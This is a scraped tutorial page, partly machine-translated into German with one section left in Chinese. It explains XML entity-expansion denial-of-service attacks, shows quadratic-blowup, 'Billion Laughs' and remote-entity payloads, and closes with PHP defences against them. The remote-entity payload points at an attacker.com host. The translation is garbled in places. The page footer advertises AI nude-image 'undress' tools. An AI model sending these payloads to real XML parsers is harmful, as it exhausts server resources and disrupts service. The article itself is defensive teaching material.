Inhaltsverzeichnis
Entitätserweiterungsangriff" >RekursiverEntitätserweiterungsangriff
Heim Backend-Entwicklung XML/RSS-Tutorial Codebeispiel für den XML-Entitätserweiterungsangriff zum Teilen

Codebeispiel für den XML-Entitätserweiterungsangriff zum Teilen

Mar 17, 2017 pm 04:56 PM

XMl Die Entitätserweiterung (Angriff) ähnelt in gewisser Weise der XML-Entitätserweiterung, versucht jedoch hauptsächlich, einen DOS-Angriff durchzuführen, indem sie die Serverumgebung des Zielprogramms verbraucht. Dieser Angriff basiert auf der XML-Entitätserweiterung und wird durch die Erstellung einer benutzerdefinierten Entitätsdefinition in XML implementiert. Diese Definition kann beispielsweise eine XML-Struktur im Speicher generieren, die viel größer ist als die ursprünglich zulässige Größe von XML Durch diesen Angriff werden die Speicherressourcen erschöpft, die für den normalen und effizienten Betrieb eines Netzwerkservers erforderlich sind. Diese Angriffsmethode ist auch auf das XML-Serialisierungsfunktionsmodul von DOCTYPEHTML5 anwendbar, das derzeit vom -Erweiterungspaket nicht als HTML erkannt werden kann. libxml2

Beispiel zur XML-Entitätserweiterung

Es gibt mehrere Möglichkeiten, benutzerdefinierte XML-Entitäten zu erweitern, um den gewünschten Effekt der Erschöpfung der Serverressourcen zu erzielen.

Generische Entitätserweiterung

Generischer Entitätserweiterungsangriff

Generischer Entitätserweiterungsangriff wird auch als „Quadratischer Explosionsangriff“ bezeichnet lange

Zeichenfolge. Wenn diese Entität in einer Datei häufig verwendet wird, wird die Entität bei jedem Aufruf erweitert, was zu einer XML-Struktur führt, die die für das ursprüngliche XML erforderliche RAM-Größe deutlich übersteigt.

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]>
<results>
    <result>Now include &long; lots of times to expand
    the in-memory size of this XML structure</result>
    <result>&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    Keep it going...
    &long;&long;&long;&long;&long;&long;&long;...</result>
</results>
Nach dem Login kopieren
Indem Sie die Größe der benutzerdefinierten Entitätszeichenfolge mit der Anzahl der im Hauptteil des Dokuments verwendeten Entitäten in Einklang bringen, können Sie ein XML-Dokument oder eine XML-Zeichenfolge erstellen, die so skaliert wird, dass sie eine vorhersehbare Menge an RAM-Speicherplatz einnimmt Server. Durch die Belegung des Server-RAMs mit wiederholten Anfragen wie dieser kann ein erfolgreicher Denial-of-Service-Angriff gestartet werden. Der Nachteil dieser Methode besteht darin, dass das anfängliche XML-Dokument oder die anfängliche XML-Zeichenfolge selbst groß genug sein muss, da der Speicherverbrauchseffekt auf einer einfachen Multiplikation basiert.

RekursiverEntitätserweiterungsangriff

Ein allgemeiner Entitätserweiterungsangriff erfordert ein ausreichend großes XML-Eingabedatenvolumen, während die durchschnittlichen Eingabebytes des rekursiven Entitätserweiterungsangriffs mehr erzeugen können starker Angriffseffekt. Diese Angriffsmethode basiert zum Parsen auf der XML-Analyse und vervollständigt so das exponentielle Wachstum kleiner Entitätsmengen. Durch diesen exponentiellen Wachstumsansatz kann eine viel kleinere Menge an Eingabedaten als bei einem generischen Entity-Expansion-Angriff tatsächlich extrem groß werden. Daher wird dieser Ansatz treffend als „XML-Bombe“ oder „Billion Laughs Attack“ bezeichnet.

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY x0 "BOOM!">
    <!ENTITY x1 "&x0;&x0;">
    <!ENTITY x2 "&x1;&x1;">
    <!ENTITY x3 "&x2;&x2;">
    <!-- Add the remaining sequence from x4...x100 (or boom) -->
    <!ENTITY x99 "&x98;&x98;">
    <!ENTITY boom "&x99;&x99;">
]>
<results>
    <result>Explode in 3...2...1...&boom;</result>
</results>
Nach dem Login kopieren
Der XML-Bomb-Angriff erfordert keine großen Mengen an XML-Dateneingaben, die möglicherweise durch das Programm eingeschränkt werden. Der Entitätssatz wächst auf diese Weise exponentiell und die endgültige erweiterte Textgröße beträgt 2 hoch 100 des anfänglichen Entitätswerts

. Das ist wirklich eine riesige und zerstörerische Bombe! &x0

Remote-Entity-Expansion-Angriffe

Sowohl herkömmliche als auch rekursive Entity-Expansion-Angriffe basieren auf Entitäten, die lokal in der XML-Dokumenttypdefinition definiert sind, Angreifer können jedoch auch externe Entitätsdefinitionen erstellen. Dies setzt natürlich voraus, dass der XML-Parser in der Lage ist, Remote-HTTP-Anfragen zu stellen, wie wir sie bereits bei der Beschreibung des XML External Entity Injection (XXE)-Angriffs kennengelernt haben. Das Ablehnen solcher Anfragen ist eine grundlegende Sicherheitsmaßnahme für Ihren XML-Parser. Daher gelten Maßnahmen zur Abwehr von XXE-Angriffen auch für solche XML-Entity-Extension-Angriffe.

Obwohl es mit den oben genannten Methoden abgewehrt werden kann, greifen Remote-Entity-Erweiterungen an, indem sie den XML-Parser dazu veranlassen, eine Remote-HTTP-Anfrage zu stellen, um den erweiterten Wert der referenzierten Entität zu erhalten. Die zurückgegebenen Ergebnisse definieren selbst externe Entitäten, für die andere XML-Parser separate HTTP-Anfragen stellen müssen. Dadurch können scheinbar harmlose Anfragen schnell außer Kontrolle geraten und die verfügbaren Ressourcen des Servers belasten. Wenn in diesem Fall die Anfrage selbst einen rekursiven Erweiterungsangriff enthält, ist das Endergebnis noch schlechter.

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml">
]>
<results>
    <result>3..2..1...&cascade<result>
</results>
Nach dem Login kopieren
Die oben genannten Angriffsmethoden können auch zu mehr umständlichen DOS-Angriffen führen, beispielsweise werden Remote-Anfragen so angepasst, dass sie auf lokale Programme oder andere Programme abzielen, die ihre Serverressourcen gemeinsam nutzen. Diese Angriffsmethode kann zu einem selbstzerstörerischen DOS-Angriff führen, bei dem die Versuche des XML-Parsers, externe Entitäten zu analysieren, unzählige Anfragen an das lokale Programm auslösen und somit mehr Serverressourcen verbrauchen können. Diese Methode wird daher verwendet, um die Auswirkungen zuvor diskutierter Angriffe zu verstärken, bei denen XML External Entity Injection (XXE)-Angriffe zur Vervollständigung von DOS-Angriffen eingesetzt werden.

Abwehrmaßnahmen gegen XML-Entity-Extension-Angriffe

Die folgenden allgemeinen Abwehrmaßnahmen stammen aus unseren Abwehrmaßnahmen gegen häufige XML-External-Entity-Angriffe (XXE). Wir sollten das Parsen lokaler Dateien und Remote-HTTP-Anfragen durch benutzerdefinierte Entitäten in XML verweigern und können die folgende Funktion verwenden, die global auf alle in PHP oder XML geschriebenen Erweiterungen angewendet werden kann, die die Funktion

intern verwenden. libxml2

libxml_disable_entity_loader(true);
Nach dem Login kopieren

诚然PHP以不按常理出牌著称,它并不使用常规的防御方式。常规的防御方式在文档类型声明中,使用XML的文档类型定义来完全拒绝通过自定义实体的定义。PHP也的确为防御功能定义了一个替代实体的LIBXML_NOENT常量,以及 DOMDocument::$substituteEntities 公共属性,但是使用这两条定义的防御效果不甚明显。似乎我们只能这样将就解决问题,而没有任何更好的解决方案。

虽说没有更好的方案,libxml2函数也确实内置了默认拒绝递归实体解析。要知道递归实体要是出了问题可是能让你的错误日志”咻”地一下跟点亮圣诞树一样全面飘红的。如此看来,好像也没必要特意针对递归实体使用一种特殊防御手段,尽管我们是得做点什么来防止万一libxml2函数突然陷回解析递归实体的故障里去。

当下新型威胁主要来自Generic Entity Expansion 或者Quadratic Blowup Attack的粗暴攻击方式。此类攻击方式不需要调用远程或本地系统,也不需要实体递归。事实上,唯一的防御措施要么是不用XML,要么是清理过滤所有包含文档类型声明的XML。除非要求的文档类型声明接收于安全的可信源,否则最安全的做法就是不用XML了。比如,我们是由同行验证的HTTPS连接接受的。否则,既然PHP没给我们提供禁用文档类型定义的选项,那我们就只能自建逻辑了。假定你能调用 libxml_disable_entity_loader(TRUE),那么后续程序运行就是安全的了,因为实体扩展这一步已经被递延到被扩展影响的节点值可被再次访问的时候了(然而勾选TURE以后永远都访问不到了)。

$dom = new DOMDocument;
$dom->loadXML($xml);
foreach ($dom->childNodes as $child) {
    if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) {
        throw new \InvalidArgumentException(
            &#39;Invalid XML: Detected use of illegal DOCTYPE&#39;
        );
    }
}
Nach dem Login kopieren

当然啦,在 libxml_disable_entity_loader 被设定为TRUE的前提下,以上代码才能正常运行,设定后XML初始加载的时外部实体引用就不会被解析了。除非解析器自己有一套全面的针对如何进行实体解析的控制选项,否则XML解析器不依赖libxml2函数进行解析时,恐怕这就是唯一的防御措施了。

如果你想使用SimpleXML函数,记得用the simplexml_import_dom()函数来转换核验过的DOMDocument项目。

原文地址:Injection Attacks

OneAPM for PHP 能够深入到所有 PHP 应用内部完成应用性能管理 能够深入到所有 PHP 应用内部完成应用性能管理和监控,包括代码级别性能问题的可见性、性能瓶颈的快速识别与追溯、真实用户体验监控、服务器监控和端到端的应用性能管理。想阅读更多技术文章,请访问 OneAPM 官方技术博客。

Das obige ist der detaillierte Inhalt vonCodebeispiel für den XML-Entitätserweiterungsangriff zum Teilen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Beste grafische Einstellungen
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. So reparieren Sie Audio, wenn Sie niemanden hören können
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Wie man alles in Myrise freischaltet
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Kann ich eine XML-Datei mit PowerPoint öffnen? Kann ich eine XML-Datei mit PowerPoint öffnen? Feb 19, 2024 pm 09:06 PM

Können XML-Dateien mit PPT geöffnet werden? XML, Extensible Markup Language (Extensible Markup Language), ist eine universelle Auszeichnungssprache, die häufig im Datenaustausch und in der Datenspeicherung verwendet wird. Im Vergleich zu HTML ist XML flexibler und kann eigene Tags und Datenstrukturen definieren, wodurch die Speicherung und der Austausch von Daten komfortabler und einheitlicher werden. PPT oder PowerPoint ist eine von Microsoft entwickelte Software zum Erstellen von Präsentationen. Es bietet eine umfassende Möglichkeit

XML-Daten mit Python filtern und sortieren XML-Daten mit Python filtern und sortieren Aug 07, 2023 pm 04:17 PM

Implementieren des Filterns und Sortierens von XML-Daten mit Python Einführung: XML ist ein häufig verwendetes Datenaustauschformat, das Daten in Form von Tags und Attributen speichert. Bei der Verarbeitung von XML-Daten müssen wir die Daten häufig filtern und sortieren. Python bietet viele nützliche Tools und Bibliotheken zum Verarbeiten von XML-Daten. In diesem Artikel wird erläutert, wie Sie mit Python XML-Daten filtern und sortieren. Lesen der XML-Datei Bevor wir beginnen, müssen wir die XML-Datei lesen. Python verfügt über viele XML-Verarbeitungsbibliotheken.

Verwendung von Python zum Zusammenführen und Deduplizieren von XML-Daten Verwendung von Python zum Zusammenführen und Deduplizieren von XML-Daten Aug 07, 2023 am 11:33 AM

Verwenden von Python zum Zusammenführen und Deduplizieren von XML-Daten XML (eXtensibleMarkupLanguage) ist eine Auszeichnungssprache, die zum Speichern und Übertragen von Daten verwendet wird. Bei der Verarbeitung von XML-Daten müssen wir manchmal mehrere XML-Dateien zu einer zusammenführen oder doppelte Daten entfernen. In diesem Artikel wird erläutert, wie Sie mit Python die Zusammenführung und Deduplizierung von XML-Daten implementieren und entsprechende Codebeispiele angeben. 1. XML-Daten zusammenführen Wenn wir mehrere XML-Dateien haben, müssen wir sie zusammenführen

Konvertieren Sie XML-Daten in Python in das CSV-Format Konvertieren Sie XML-Daten in Python in das CSV-Format Aug 11, 2023 pm 07:41 PM

Konvertieren Sie XML-Daten in Python in das CSV-Format. XML (ExtensibleMarkupLanguage) ist eine erweiterbare Auszeichnungssprache, die häufig zur Datenspeicherung und -übertragung verwendet wird. CSV (CommaSeparatedValues) ist ein durch Kommas getrenntes Textdateiformat, das häufig für den Datenimport und -export verwendet wird. Bei der Datenverarbeitung ist es manchmal erforderlich, XML-Daten zur einfachen Analyse und Verarbeitung in das CSV-Format zu konvertieren. Python ist mächtig

Importieren Sie XML-Daten mit PHP in die Datenbank Importieren Sie XML-Daten mit PHP in die Datenbank Aug 07, 2023 am 09:58 AM

Importieren von XML-Daten in die Datenbank mit PHP Einführung: Während der Entwicklung müssen wir häufig externe Daten zur weiteren Verarbeitung und Analyse in die Datenbank importieren. Als häufig verwendetes Datenaustauschformat wird XML häufig zum Speichern und Übertragen strukturierter Daten verwendet. In diesem Artikel wird erläutert, wie Sie mit PHP XML-Daten in eine Datenbank importieren. Schritt 1: XML-Datei analysieren Zuerst müssen wir die XML-Datei analysieren und die erforderlichen Daten extrahieren. PHP bietet mehrere Möglichkeiten zum Parsen von XML. Die am häufigsten verwendete davon ist die Verwendung von Simple

Python implementiert die Konvertierung zwischen XML und JSON Python implementiert die Konvertierung zwischen XML und JSON Aug 07, 2023 pm 07:10 PM

Python implementiert die Konvertierung zwischen XML und JSON. Einführung: Im täglichen Entwicklungsprozess müssen wir häufig Daten zwischen verschiedenen Formaten konvertieren. XML und JSON sind gängige Datenaustauschformate. In Python können wir verschiedene Bibliotheken zum Konvertieren zwischen XML und JSON verwenden. In diesem Artikel werden mehrere häufig verwendete Methoden mit Codebeispielen vorgestellt. 1. Um XML in Python in JSON zu konvertieren, können wir das Modul xml.etree.ElementTree verwenden

Behandeln von Fehlern und Ausnahmen in XML mit Python Behandeln von Fehlern und Ausnahmen in XML mit Python Aug 08, 2023 pm 12:25 PM

Behandeln von Fehlern und Ausnahmen in XML mit Python XML ist ein häufig verwendetes Datenformat zum Speichern und Darstellen strukturierter Daten. Wenn wir Python zum Verarbeiten von XML verwenden, können manchmal Fehler und Ausnahmen auftreten. In diesem Artikel werde ich die Verwendung von Python zur Behandlung von Fehlern und Ausnahmen in XML vorstellen und einige Beispielcodes als Referenz bereitstellen. Verwenden Sie Try-Exception-Anweisungen, um XML-Parsing-Fehler abzufangen. Wenn wir Python zum Parsen von XML verwenden, können manchmal Fehler auftreten

Python analysiert Sonderzeichen und Escape-Sequenzen in XML Python analysiert Sonderzeichen und Escape-Sequenzen in XML Aug 08, 2023 pm 12:46 PM

Python analysiert Sonderzeichen und Escape-Sequenzen in XML. XML (eXtensibleMarkupLanguage) ist ein häufig verwendetes Datenaustauschformat, das zum Übertragen und Speichern von Daten zwischen verschiedenen Systemen verwendet wird. Bei der Verarbeitung von XML-Dateien kommt es häufig vor, dass Sonderzeichen und Escape-Sequenzen enthalten sind, die zu Analysefehlern oder einer Fehlinterpretation der Daten führen können. Daher müssen wir beim Parsen von XML-Dateien mit Python verstehen, wie mit diesen Sonderzeichen und Escape-Sequenzen umgegangen wird. 1. Sonderzeichen und

See all articles